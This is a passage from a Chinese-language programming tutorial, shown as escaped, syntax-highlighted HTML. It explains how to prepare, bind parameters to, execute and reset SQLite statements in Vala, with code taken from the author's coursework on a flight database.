class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprepare_v2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePREPARATION_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Cannot prepare satement for %s: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e绑定声明:\u003c/p\u003e\n\u003cp\u003e绑定依然有一系列的函数,此处只看绑定字符串\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebind_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这是寻找 statement 中 stmt 的位置\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebind_parameter_index\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBIND_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Could not bind %s: %s not found in the statement %s.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 绑定,index 是索引,text 是要绑定的字符串\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebind_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBIND_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Could not bind %s: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e执行声明并清除绑定:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 执行声明\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 清除绑定\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDONE\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEXECUTION_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Execute failed: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e循环取出返回值:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 摘抄自我的大作业代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashMap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eavaliable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashMap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 创建一个声明,这个是一个查询语句\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprepare\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;SELECT FromCity,ArivCity FROM FLIGHT;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 我前面说过返回值的事情,Sqlite.ROW\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eROW\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e 